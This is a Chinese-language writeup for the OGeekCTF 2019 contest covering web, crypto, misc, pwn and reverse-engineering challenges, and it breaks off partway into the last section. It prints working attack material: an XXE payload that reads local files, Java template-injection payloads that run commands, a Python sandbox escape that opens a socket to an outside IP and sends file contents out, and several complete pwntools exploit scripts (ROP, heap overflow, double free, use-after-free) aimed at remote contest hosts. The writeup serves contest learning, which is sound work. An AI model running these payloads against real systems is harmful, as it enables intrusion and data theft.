OGeekCTF 2019 Writeups

2019-08-28 9,311

Web

LookAround

F12查看源码发现一个文件名奇怪的js,功能是定时发送请求.

请求内容比较奇怪,猜测就是考点,xxe了.

随便改了下xml,就发生500报错.

尝试了下常见的payload,猜测逻辑,如果xml合法则无返回,xml异常则500报错.

网上翻相关资料,找到关键点

1.png

exploiting-xxe-with-local-dtd-files

文章里给的payload

2.png

文件不存在,那就找一个linux系统默认存在的,直接去linux全局文件搜索

3.png

找一个可以用的,报错xxe成功获取flag

最终payload如下

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
 
    <!ENTITY % condition 'aaa)>
        aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
 
    %local_dtd;
]>
<message>any text</message>

 

render

随便测试了一下,发现[[9*9]]中的内容被执行了输出了49.

搭配题目名字render,SSTI没跑了.

网上搜索发现了几个可用的payload

https://www.4hou.com/vulnerable/9779.html

[[${T(java.lang.System).getenv()}]]


执行命令:

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

但是没有回显,测试了nc,curl,wget都弹不出来.不熟悉java.

然后队内师傅提醒下,直接读文件.

[[${new [java.io](qq://txfile/#).BufferedReader(new [java.io](qq://txfile/#).FileReader("/flag")).readLine()}]]


Crypto

babycry

常见套路

from pwn import *
flagkey="1234567890qwertyuiopasdfghjklzxcvbnm{}-_"
flag=''
 
def conn ():
    global  r
    r = remote("139.9.222.76",19999)
    r.recv()
 
    #r.sendline("1"*pad)
    return r
 
 
def cut_text(text,lenth):
    textArr = re.findall('.{'+str(lenth)+'}', text)
    textArr.append(text[(len(textArr)*lenth):])
    return textArr
 
def get(conn,s):
         conn.sendline('des '+s)
         return cut_text(conn.recv(),16)[:-1]
 
 
def fuck():
         r = conn()
         f = 'flag{c0'
         for k in range(1,5):
                 pad = 0
 
                 for j in range(8):
                          padding='0'*(8-pad)
 
                          stand = get(r,padding)[k]
                          for i in flagkey:
                                   stand2 = get(r,padding+f+i)[k]
 
                                   if stand == stand2:
                                            pad = pad + 1
                                            f = f + i
                                            print f
                                            break
                          
fuck()
#flag{c0ngratul4tions_1_y0uve_chec7ed_1n_ogeek}

 

Misc

pybox

绕过思路和ciscn的一样,就是没回显

__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep 4')

那就弹,又是nv,curl,wget都试一遍,无果

看提示,cut,sleep,那就是时间盲注了

__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep $(ca'+'t /home/flag|cut -c1|tr f 4)')

但是tr被过滤了

__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("export str=\tac /home/flag `;str=${str:0:1};str=${str/f/2} && sleep $str ") `


又是队内大佬提醒

s = __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('socket').__getattribute__('socket')()
s.connect(('111.111.111.111', 11111))
p = __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('popen')('cut -c 1-64 flag')
s.send(p.read())

我感觉这是非预期解了


catch fun

4.png

百度一下oppo cattch,原来是个手机的宣传语

5.png

填入手机型号,flagflag{Reno}

2019

图片有lsb隐写

6.png7.png

得到字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==


base64base85得到flag

8.png

 

 

 

PWN

babyrop

签到题。

靶机环境是32位的glibc-2.23。

int __cdecl check(int random)

{

  size_t v1; // eax

  char s; // [esp+Ch] [ebp-4Ch]

  char buf[32]; // [esp+2Ch] [ebp-2Ch]

  ssize_t v5; // [esp+4Ch] [ebp-Ch]

 

  memset(&s, 0, 0x20u);

  memset(buf, 0, 0x20u);

  sprintf(&s, "%ld", random);

  v5 = read(0, buf, 0x20u);

  buf[v5 - 1] = 0;

  v1 = strlen(buf);

  if ( strncmp(buf, &s, v1) )

    exit(0);

  write(1, "Correct\n", 8u);

  return (unsigned __int8)buf[7];

}

由于check使用的是read函数,则我们可以直接输入开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功。

void __cdecl vul(char a1)

{

  char buf[231]; // [esp+11h] [ebp-E7h]

 

  if ( a1 == 127 )

    read(0, buf, 200u);

  else

    read(0, buf, a1);

}

之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在reada1会进行符号填充,那么我们就可以读入4294967295-1)个字节,这将直接导致栈溢出,之后就行常规的ROP

脚本

#!/usr/bin/python2

# -*- coding:utf-8 -*-

 

from pwn import *

import os

import struct

import random

import time

import sys

import signal

 

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

 

def clear(signum=None, stack=None):

    print('Strip  all debugging information')

    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))

    exit(0)

 

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:

    signal.signal(sig, clear)

 

# # Create a symbol file for GDB debugging

# try:

#     gdb_symbols = '''

 

#     '''

 

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')

#     f.write(gdb_symbols)

#     f.close()

#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

# except Exception as e:

#     print(e)

 

context.arch = 'amd64'

# context.arch = 'i386'

context.log_level = 'debug'

execve_file = './babyrop'

# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})

# sh = process(execve_file)

sh = remote('47.112.137.238', 13337)

elf = ELF(execve_file)

libc = ELF('./libc-2.23.so')

# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

 

# Create temporary files for GDB debugging

try:

    gdbscript = '''

    b *0x080487FF

    '''

 

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')

    f.write(str(proc.pidof(sh)[0]))

    f.close()

 

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')

    f.write(gdbscript)

    f.close()

except Exception as e:

    print(e)

# pause()

 

sh.sendline('' + '\xff' * 18)

 

sh.recvuntil('Correct\n')

 

sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200))

 

result = sh.recvuntil('\n')[:-1]

libc_addr = u32(result) - libc.symbols['puts']

log.success('libc_addr: ' + hex(libc_addr))

 

sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next()))

 

sh.interactive()

clear()

book manager

第二道签到题,靶机环境是glibc-2.23。

内置一大堆漏洞,这里我用最简单的heap overflow

Add_text功能中,size的大小是由用户决定的。

v6 = get_int();

if ( v6 <= 256 )

{

  v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL));

  *(_QWORD *)(v2 + 32) = malloc(v6);

  printf("\nText:");

  read_n(&s, 0x100u);

  v3 = strlen(&s);

  memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);

}

else

{

  printf("\nToo many");

}

但是在Update功能中,其输入的大小指定为255,直接导致heap overflow

printf("\nNew Text:");

read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (v6 + 4LL)) + 32LL), 255u);

printf("\nUpdated", 255LL);

return;

而且由于Text结构的输入没有null截断,我们可以直接泄露libc地址

思路

  • 泄露libc地址

Add_chapter('aaaa\n')

Add_section('aaaa\n', 'bbbb\n')

Add_section('aaaa\n', 'cccc\n')

Add_text('bbbb\n', 0x88, '\n')

Add_text('cccc\n', 0x68, 'here\n')

 

Remove_text('bbbb\n')

Add_text('bbbb\n', 0x88, '\x78')

Book_preview()

 

sh.recvuntil('Section:bbbb')

sh.recvuntil('Text:')

 

result = sh.recvline()[:-1]

main_arena_addr = u64(result.ljust(8, '')) - 88

log.success('main_arena_addr: ' + hex(main_arena_addr))

 

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)

log.success('libc_addr: ' + hex(libc_addr))

  • 劫持Text结构体

因为劫持Text结构体更简单,而且可以实现任意地址读写,我们只需要提前布置好heap 结构就行。

Add_section('aaaa\n', 'dddd\n')

Update('cccc\n', '/bin/sh'.ljust(0x60, '') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '') + p64(libc_addr + libc.symbols['__free_hook']))

  • 劫持hook

Update('dddd\n', p64(libc_addr + libc.symbols['system']))

 

Remove_text('cccc\n')

 

sh.interactive()

脚本

#!/usr/bin/python2

# -*- coding:utf-8 -*-

 

from pwn import *

import os

import struct

import random

import time

import sys

import signal

 

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

 

def clear(signum=None, stack=None):

    print('Strip  all debugging information')

    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))

    exit(0)

 

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:

    signal.signal(sig, clear)

 

# # Create a symbol file for GDB debugging

# try:

#     gdb_symbols = '''

 

#     '''

 

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')

#     f.write(gdb_symbols)

#     f.close()

#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

# except Exception as e:

#     print(e)

 

context.arch = 'amd64'

# context.arch = 'i386'

# context.log_level = 'debug'

execve_file = './bookmanager'

# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})

# sh = process(execve_file)

sh = remote('47.112.115.30', 13337)

elf = ELF(execve_file)

# libc = ELF('./libc-2.27.so')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

 

# Create temporary files for GDB debugging

try:

    gdbscript = '''

    b *$rebase(0x134A)

    '''

 

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')

    f.write(str(proc.pidof(sh)[0]))

    f.close()

 

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')

    f.write(gdbscript)

    f.close()

except Exception as e:

    print(e)

 

def Add_chapter(c_name):

    sh.sendlineafter('Your choice:', '1')

    sh.sendafter('Chapter name:', c_name)

 

def Add_section(c_name, s_name):

    sh.sendlineafter('Your choice:', '2')

    sh.sendafter('Which chapter do you want to add into:', c_name)

    sh.sendafter('Section name:', s_name)

 

def Add_text(s_name, size, text):

    sh.sendlineafter('Your choice:', '3')

    sh.sendafter('Which section do you want to add into:', s_name)

    sh.sendlineafter('How many chapters you want to write:', str(size))

    sh.sendafter('Text:', text)

 

def Remove_text(s_name):

    sh.sendlineafter('Your choice:', '6')

    sh.sendafter('Section name:', s_name)

 

def Book_preview():

    sh.sendlineafter('Your choice:', '7')

 

def Update(s_name, text):

    sh.sendlineafter('Your choice:', '8')

    sh.sendlineafter('hat to update?(Chapter/Section/Text):', 'Text')

    sh.sendafter('Section name:', s_name)

    sh.sendafter('New Text:', text)

 

sh.recvuntil('Name of the book you want to create: ')

sh.send('a' * 30)

 

Add_chapter('aaaa\n')

Add_section('aaaa\n', 'bbbb\n')

Add_section('aaaa\n', 'cccc\n')

Add_text('bbbb\n', 0x88, '\n')

Add_text('cccc\n', 0x68, 'here\n')

 

Remove_text('bbbb\n')

Add_text('bbbb\n', 0x88, '\x78')

Book_preview()

 

sh.recvuntil('Section:bbbb')

sh.recvuntil('Text:')

 

result = sh.recvline()[:-1]

main_arena_addr = u64(result.ljust(8, '')) - 88

log.success('main_arena_addr: ' + hex(main_arena_addr))

 

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)

log.success('libc_addr: ' + hex(libc_addr))

 

Add_section('aaaa\n', 'dddd\n')

Update('cccc\n', '/bin/sh'.ljust(0x60, '') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '') + p64(libc_addr + libc.symbols['__free_hook']))

Update('dddd\n', p64(libc_addr + libc.symbols['system']))

 

Remove_text('cccc\n')

 

sh.interactive()

clear()


hub

靶机环境是glibc-2.27。

要是能开启PIE并且使用glibc-2.23.so的话,相信能成为更优质的挑战。

溢出点

程序流还是非常清晰明了的。

__int64 __fastcall main_function(char *a1)

{

  __int64 result; // rax

  signed int v2; // eax

  char *ptr; // ST28_8

  unsigned int v4; // [rsp+8h] [rbp-28h]

  unsigned int size; // [rsp+14h] [rbp-1Ch]

  char *malloc_ptr; // [rsp+18h] [rbp-18h]

  char *ptr_array; // [rsp+20h] [rbp-10h]

 

  v4 = 39;

  malloc_ptr = 0LL;

  ptr_array = 0LL;

  while ( 1 )

  {

    result = v4--;

    if ( !(_DWORD)result )

      break;

    menu();

    v2 = get_int();

    if ( v2 == 2 )

    {

      puts("Which hub don't you want?");

      ptr = &ptr_array[(signed int)get_int()];

      free(ptr);

      if ( malloc_ptr == ptr )

        malloc_ptr = 0LL;

    }

    else if ( v2 > 2 )

    {

      if ( v2 == 3 )

      {

        puts("What do you want?");

        read(0, malloc_ptr, 8uLL);

      }

      else if ( v2 == 4 )

      {

        puts("Bye");

        exit(0);

      }

    }

    else if ( v2 == 1 )

    {

      puts("How long will you stay?");

      size = get_int();

      if ( size > 0x400 )

        malloc_ptr = 0LL;

      else

        malloc_ptr = (char *)malloc(size);

      if ( !malloc_ptr )

      {

        puts("Malloc faild");

        exit(-1);

      }

      ptr_array = malloc_ptr;

    }

  }

  return result;

}

Free功能中,虽然将malloc_ptr置为0,但是并没有将ptr_array置为0,则我们可以直接输入index为0,这样会直接导致double free

思路

  • 修改stdout结构体为了泄露地址信息

一般在有PIE的情况下,我们需要利用chunk残余的fdbk来对stdout的地址进行爆破,但是这里没有PIE,而且stdout的地址就在bss上,我们可以直接利用tcache attack进行控制。然后修改stdout->_flags

Malloc(0x18)

Free(0)

Free(0)

Malloc(0x18)

Write(p64(elf.symbols['stdout']))

Malloc(0x18)

Malloc(0x18)

Malloc(0x18)

Write(p64(0xfbad2887 + 0x1000))

奈何一次只能写入8 byte,而且修改stdout地址的话,调用printf函数时会发生阻塞现象,所以我们只能爆破对程序基本没有影响的stderr的地址了,下面的代码功能就是爆破bssstderr的地址的低二位字节,使其指向stdout->_IO_write_base的地址,这里是1/16的几率。

Malloc(0x28)

Free(0)

Free(0)

Malloc(0x28)

Write(p64(elf.symbols['stderr']))

Malloc(0x28)

Malloc(0x28)

Write(p16(0x0780))

之后将地址指向我们要泄露的信息,通过调试可得:

pwndbg> p stdout->_IO_write_base

$1 = 0x7fa8627a27e3 <_IO_2_1_stdout_+131> "\n"

pwndbg> x/8gx 0x7fa8627a27b0

0x7fa8627a27b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000

0x7fa8627a27c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007fa8627a1a00

0x7fa8627a27d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff

0x7fa8627a27e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007fa8627a38c0

pwndbg> x/gx 0x00007fa8627a1a00

0x7fa8627a1a00 <_IO_2_1_stdin_>:     0x00000000fbad208b

stdout->_IO_write_base地址的低位字节为0xc8的时候,可以泄露_IO_2_1_stdin_的地址,所以对于的修改脚本如下:

Malloc(0x38)

Free(0)

Free(0)

Malloc(0x38)

Write(p64(elf.symbols['stderr']))

Malloc(0x38)

Malloc(0x38)

Malloc(0x38)

Write(p8(0xc8))

 

result = sh.recvn(8)

libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']

log.success('libc_addr: ' + hex(libc_addr))

  • 劫持hook

直接用tcachedouble free即可。

Malloc(0x48)

Free(0)

Free(0)

Malloc(0x48)

Write(p64(libc_addr + libc.symbols['__free_hook']))

Malloc(0x48)

Malloc(0x48)

Write(p64(libc_addr + libc.symbols['system']))

 

Malloc(0x58)

Write('/bin/sh')

Free(0)

 

sh.interactive()

脚本

几率为1/16

#!/usr/bin/python2

# -*- coding:utf-8 -*-

 

from pwn import *

import os

import struct

import random

import time

import sys

import signal

 

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

 

def clear(signum=None, stack=None):

    print('Strip  all debugging information')

    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))

    exit(0)

 

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:

    signal.signal(sig, clear)

 

# # Create a symbol file for GDB debugging

# try:

#     gdb_symbols = '''

 

#     '''

 

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')

#     f.write(gdb_symbols)

#     f.close()

#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

# except Exception as e:

#     print(e)

 

context.arch = 'amd64'

# context.arch = 'i386'

# context.log_level = 'debug'

execve_file = './hub_2bcab892e2e5b54edbef4ccecd6f373f'

# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})

sh = process(execve_file)

# sh = remote('47.112.139.218', 13132)

elf = ELF(execve_file)

libc = ELF('./libc-2.27.so')

# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

 

# Create temporary files for GDB debugging

try:

    gdbscript = '''

    b *0x400A33

    '''

 

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')

    f.write(str(proc.pidof(sh)[0]))

    f.close()

 

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')

    f.write(gdbscript)

    f.close()

except Exception as e:

    print(e)

 

def Malloc(size):

    sh.sendlineafter('>>', '1')

    sh.sendlineafter('How long will you stay?\n', str(size))

 

def Free(hub):

    sh.sendlineafter('>>', '2aaaaaaaa')

    sh.sendlineafter('Which hub don\'t you want?', str(hub))

 

def Write(content):

    sh.sendlineafter('>>', '3')

    sh.sendafter('What do you want?\n', content)

 

 

Malloc(0x18)

Free(0)

Free(0)

Malloc(0x18)

Write(p64(elf.symbols['stdout']))

Malloc(0x18)

Malloc(0x18)

Malloc(0x18)

Write(p64(0xfbad2887 + 0x1000))

 

Malloc(0x28)

Free(0)

Free(0)

Malloc(0x28)

Write(p64(elf.symbols['stderr']))

Malloc(0x28)

Malloc(0x28)

Write(p16(0x0780))

 

Malloc(0x38)

Free(0)

Free(0)

Malloc(0x38)

Write(p64(elf.symbols['stderr']))

Malloc(0x38)

Malloc(0x38)

Malloc(0x38)

Write(p8(0xc8))

 

result = sh.recvn(8)

libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']

log.success('libc_addr: ' + hex(libc_addr))

 

Malloc(0x48)

Free(0)

Free(0)

Malloc(0x48)

Write(p64(libc_addr + libc.symbols['__free_hook']))

Malloc(0x48)

Malloc(0x48)

Write(p64(libc_addr + libc.symbols['system']))

 

Malloc(0x58)

Write('/bin/sh')

Free(0)

 

sh.interactive()

clear()

0 day manager

靶机环境是glibc-2.27。

其实漏洞非常简单,只不过其中大量的结构体一开始就吓跑了很多人,刚开始看到这么复杂的结构体我自己也吓了一跳,但是随着仔细的分析,程序慢慢变得简单。

下面是程序要用到的结构体:

typedef struct Link{

    struct Link *next;

    void *ptr;

}Link;

 

typedef struct Node{

    int type;

    int data_size;

    char *data;

    int note_size;

    int field_14;

    char *note;

    int shellcode_size;

    int field_24;

    char *shellcode;

}Node;

 

typedef struct leak{

    int type;

    int data_size;

    char *data;

    int note_size;

    int field_14;

    char *note;

    char offset[8];

}leak;

 

typedef struct Memory{

    int type;

    int data_size;

    char *data;

    int note_size;

    int field_14;

    char *note;

    int shellcode_size;

    int field_24;

    char *shellcode;

}Memory;

 

typedef struct Logic{

    int type;

    int data_size;

    char *data;

    int note_size;

    int field_14;

    char *note;

    void *field_20;

    void *field_28;

}Logic;

 

typedef struct Container{

    void *array[6];

}Container;

 

typedef struct Control{

    int field_0;

    int field_4;

    Container *con;

}Control;

溢出点

这是我乱打payload无意间发现的,下面是我的payload:

1

3

90

fjsdosii

90

jfois

4

3

0

2

3

分析了Handle功能之后,发现其三个结构都有一个致命的UAF漏洞。

Handle功能中,处理的数目是由用户来确定的,但是当number为0时,悲剧就发生了。

printf("How many you want to handle in?");

number = get_int();

_number = number;

这里我举Logic为例,也就是type为2时,在Handle功能中,当number为0时,则下面的代码会直接跳过,这里原本是由v17来刷新this_control->con->array[2]结构的指针,number为0时,就什么也不做了,直接跳出,造成了UAF

v17 = this_control->con->array[2];

while ( v17 )

{

  v7 = number--;

  if ( !v7 )

    break;

  v8 = v17;

  v17 = v17->next;

  free(v8);

}

this_control->con->array[2] = v17;

思路

由于源程序代码复杂功能简单,所以脚本我也就写的简单一点。

  • 利用 UAF 漏洞,泄露 unsorted bin 的信息,从而计算libc地址

_sendline('1')

_sendline('3')

_sendline(str(0x58))

_sendline('1')

_sendline(str(0x418)) # unsorted bin

_sendline('1')

_sendline('4')

_sendline('3')

_sendline('0')

 

# show

_sendline('2')

_sendline('3')

sh.recvuntil('note :')

sh.recvuntil('note :')

result = sh.recvn(8)

main_arena_addr = u64(result) - 96

log.success('main_arena_addr: ' + hex(main_arena_addr))

 

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)

log.success('libc_addr: ' + hex(libc_addr))

调试结果如下:

pwndbg> pr

$1 = {

  array = {0x0, 0x0, 0x55af914eb780, 0x0, 0x0, 0x0}

}

pwndbg> prlo

$2 = {

  next = 0x0,

  ptr = 0x55af914eb2c0

}

$3 = {

  type = 0,

  data_size = 0,

  data = 0x55af914eb300 "",

  note_size = 1048,

  field_14 = 0,

  note = 0x55af914eb360 "\240\314Æ\302\177",

  field_20 = 0x0,

  field_28 = 0x0

}

pwndbg> x/4gx 0x55af914eb360

0x55af914eb360:   0x00007fc286c3cca0 0x00007fc286c3cca0

0x55af914eb370:   0x0000000000000000 0x0000000000000000

pwndbg> x/gx 0x00007fc286c3cca0

0x7fc286c3cca0 <main_arena+96>:      0x000055af914eb790

  • 绕过tcache

由于使用的calloc函数,它不会从tcache里面拿chunk,所以我们必须要先绕过tcache,方法也很简单,就是不停的free就行。

_sendline('1')

_sendline('2')

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

_sendline('1')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

_sendline('4')

_sendline('2')

_sendline('0')

调试结果如下:

pwndbg> bin

tcachebins

0x405]: 0x55bf06037360 0x55bf06037360

0x601]: 0x55bf06037300 0x0

0x707]: 0x55bf060373a0 0x55bf06037470 0x0

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x55bf06037470 0x55bf06037400 0x55bf06037390 0x55bf06037470

0x80: 0x0

unsortedbin

all: 0x55bf06037500 0x7f86df21cca0 (main_arena+96) 0x55bf06037500

smallbins

empty

largebins

empty

可以看到fastbin已经double free了。

  • 劫持hook

这里需要进行利用realloc来进行栈调整,才能执行one gadget

_sendline('1')

_sendline('2')

_sendline(str(0x68))

_sendline(p64(main_arena_addr - 0x33))

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

_sendline('1')

 

_sendline('1')

_sendline('2')

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

'''

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)

constraints:

  rcx == NULL

 

0x4f322 execve("/bin/sh", rsp+0x40, environ)

constraints:

  [rsp+0x40] == NULL

 

0x10a38c execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

'''

# pause()

 

_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))

_sendline(str(0x68))

脚本

#!/usr/bin/python2

# -*- coding:utf-8 -*-

 

from pwn import *

import os

import struct

import random

import time

import sys

import signal

 

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

 

def clear(signum=None, stack=None):

    print('Strip  all debugging information')

    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))

    exit(0)

 

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:

    signal.signal(sig, clear)

 

# Create a symbol file for GDB debugging

try:

    gdb_symbols = '''

    typedef struct Link{

        struct Link *next;

        void *ptr;

    }Link;

    Link *no_use1;

 

    typedef struct Node{

        int type;

        int data_size;

        char *data;

        int note_size;

        int field_14;

        char *note;

        int shellcode_size;

        int field_24;

        char *shellcode;

    }Node;

    Node *no_use2;

 

    typedef struct leak{

        int type;

        int data_size;

        char *data;

        int note_size;

        int field_14;

        char *note;

        char offset[8];

    }leak;

    leak *no_use3;

 

    typedef struct Memory{

        int type;

        int data_size;

        char *data;

        int note_size;

        int field_14;

        char *note;

        int shellcode_size;

        int field_24;

        char *shellcode;

    }Memory;

    Memory *no_use4;

 

    typedef struct Logic{

        int type;

        int data_size;

        char *data;

        int note_size;

        int field_14;

        char *note;

        void *field_20;

        void *field_28;

    }Logic;

    Logic *no_use5;

 

    typedef struct Container{

        void *array[6];

    }Container;

    Container *no_use6;

 

    typedef struct Control{

        int field_0;

        int field_4;

        Container *con;

    }Control;

    Control *no_use7;

 

    '''

 

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')

    f.write(gdb_symbols)

    f.close()

    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))

except Exception as e:

    print(e)

 

context.arch = 'amd64'

# context.arch = 'i386'

# context.log_level = 'debug'

execve_file = './0day_manage'

sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})

# sh = process(execve_file)

# sh = remote('47.112.137.133', 12345)

elf = ELF(execve_file)

# libc = ELF('./libc-2.27.so')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

 

# Create temporary files for GDB debugging

try:

    gdbscript = '''

    set $p = *(Control **)$rebase(0x203050)

 

    define pr

        p *$p->con

        end

 

    define prl

        set $t= (Link *)(*$p->con).array[0]

        p *$t

        p *(leak *)$t->ptr

        end

 

    define prm

        set $t= (Link *)(*$p->con).array[1]

        p *$t

        p *(Memory *)$t->ptr

        end

 

    define prlo

        set $t= (Link *)(*$p->con).array[2]

        p *$t

        p *(Logic *)$t->ptr

        end

    '''

 

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')

    f.write(str(proc.pidof(sh)[0]))

    f.close()

 

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')

    f.write(gdbscript)

    f.close()

except Exception as e:

    print(e)

 

 

def _sendline(str):

    sh.sendline(str)

    # time.sleep(0.5)

 

_sendline('1')

_sendline('3')

_sendline(str(0x58))

_sendline('1')

_sendline(str(0x418)) # unsorted bin

_sendline('1')

_sendline('4')

_sendline('3')

_sendline('0')

 

# show

_sendline('2')

_sendline('3')

sh.recvuntil('note :')

sh.recvuntil('note :')

result = sh.recvn(8)

main_arena_addr = u64(result) - 96

log.success('main_arena_addr: ' + hex(main_arena_addr))

 

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)

log.success('libc_addr: ' + hex(libc_addr))

 

_sendline('1')

_sendline('2')

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

_sendline('1')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

_sendline('4')

_sendline('2')

_sendline('0')

 

 

_sendline('1')

_sendline('2')

_sendline(str(0x68))

_sendline(p64(main_arena_addr - 0x33))

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

_sendline('1')

 

_sendline('1')

_sendline('2')

_sendline(str(0x68))

_sendline('1')

_sendline(str(0x68))

'''

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)

constraints:

  rcx == NULL

 

0x4f322 execve("/bin/sh", rsp+0x40, environ)

constraints:

  [rsp+0x40] == NULL

 

0x10a38c execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

'''

# pause()

 

_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))

_sendline(str(0x68))

 

sh.interactive()

clear()




RE

babyre

题目给了一个压缩程序,但是没有相对应的解压程序,还给了一个压缩过的文件,要求我们根据分析压缩程序的算法写出相对应的解压程序即可。

根据IDA还原的算法源码:

// gcc -s -O3 compress.c -o compress

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

typedef struct out_container

{
